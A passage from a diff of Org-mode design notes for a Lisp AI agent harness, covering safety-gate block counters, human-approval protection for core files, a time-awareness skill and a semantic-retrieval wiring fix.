+in the /last/ tool execution, matching the tool-execution visualization
+pattern from v0.7.1. Cumulative file tracking belongs in the version
+control system.

+** v0.8.0 — Dispatcher Block Counts
+
+The sidebar's Protection panel (panel 7 of the Information Radiator)
+needs per-gate block statistics — how many times each of the ten
+deterministic vectors blocked an action. This is the specific-value-
+proposition panel: no competitor can count deterministic gate blocks
+because none has deterministic gates.
+
+~*dispatcher-block-counts*~ is an alist mapping gate keyword to integer
+count: ~((:secret-path . 3) (:shell-safety . 12) (:network-exfil . 7) ...)~.
+Incremented in ~dispatcher-check~ on every ~:blocked~ result via
+~dispatcher-block-record~. Exposed to the TUI via ~dispatcher-block-counts-summary~,
+which returns a plist with ~:total~ and ~:by-gate~ fields. The TUI actuator
+in ~core-act.org~ reads this via ~fboundp~ guard and injects ~:block-counts~
+into the response plist.
+
+The counter is session-scoped (lives in memory). It does not persist across
+daemon restarts — it tracks what happened /this/ session, which is what the
+sidebar shows. Historical block telemetry belongs in the telemetry system
+(v0.12.0).

+** Self-Build Safety Boundary (v0.4.0)
+
+The Dispatcher now protects the core pipeline from unapproved modification. This is the operational realization of "thin harness, fat skills" — the harness is thin enough for a human to audit, and the Dispatcher ensures it stays that way.
+
+The ~core-*~ files implement the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. If the agent (or a hallucination) modifies these files, the agent loses its ability to reason about and fix the corruption. The Dispatcher blocks any file write or shell command targeting ~core-*.org~ or ~core-*.lisp~ — detected by ~dispatcher-check-core-path~ using direct regex matching (~core-.*\.(org|lisp)~).
+
+Unlike secret path protection (Vector 2), which produces a hard ~:LOG~ block, core file writes produce a ~:approval-required~ Flight Plan (Vector 2b). The human reviews the proposed core change in an Org buffer before approving — the same mechanism that governs shell commands and network exfiltration.
+
+The ~SELF_BUILD_MODE~ env var controls this protection:
+- ~SELF_BUILD_MODE=true~ (default ~false~): core path protection active — writes require HITL approval
+- ~SELF_BUILD_MODE=false~: protection disabled — useful during development when the human is manually editing core files

+* Architectural Intent
+
+The heartbeat fires every 60 seconds for maintenance. It can also carry temporal
+awareness — scanning for approaching deadlines, tracking session duration, and
+injecting temporal context so the LLM knows the current time without triggering
+a call.
+
+This skill provides:
+1. ~format-time-for-llm~ — injectable TIME section for system prompt
+2. ~session-duration~ — session start tracking
+3. ~sensor-time-tick~ — deadline scanning registered as cron job
+
+All pure Lisp, 0 LLM tokens for temporal awareness.
+
+** Contract
+
+1. (format-time-for-llm &key session-duration): returns a human-readable TIME
+   section string. Respects ~TIME_AWARENESS~ and ~TIME_FORMAT~ env vars.
+2. (session-duration): returns seconds since skill load, or nil.
+3. (sensor-time-tick): scans memory for headlines with ~:DEADLINE~ or
+   ~:SCHEDULED~ properties. If any are within ~DEADLINE_WARNING_MINUTES~,

 The semantic threshold is configurable via ~CONTEXT_SEMANTIC_THRESHOLD~ env var (default 0.75). Lower values include more peripherally related content; higher values restrict to tightly related content.
 
+** Semantic Retrieval Activation (v0.4.0)
+
+In v0.3.0, the infrastructure for semantic retrieval was in place — the cosine similarity calculation, the semantic threshold check, and the embedding pipeline — but ~:foveal-vector~ was never passed to ~context-object-render~. It was always ~nil~, so ~(if (and foveal-vector obj-vector ...) ...)~ always took the ~0.0~ branch. Every peripheral node had similarity zero regardless of content overlap.
+
+The fix is a one-line wiring: ~context-awareness-assemble~ now extracts the foveal node's embedding vector via ~(memory-object-vector (memory-object-get foveal-id))~ and passes it as the ~:foveal-vector~ keyword argument to ~context-object-render~. This activates the entire semantic retrieval path — nodes with high cosine similarity to the foveal node are promoted to full-content rendering.
+
+The effectiveness of this depends on the embedding backend. The default ~:trigram~ backend (v0.4.0 replacement for ~:hashing~/SHA-256) captures lexical overlap: if two nodes share enough character trigrams, their cosine similarity exceeds the threshold and the peripheral node is promoted to foveal detail. This gives the context model genuine semantic boosting with zero LLM tokens and zero external dependencies.
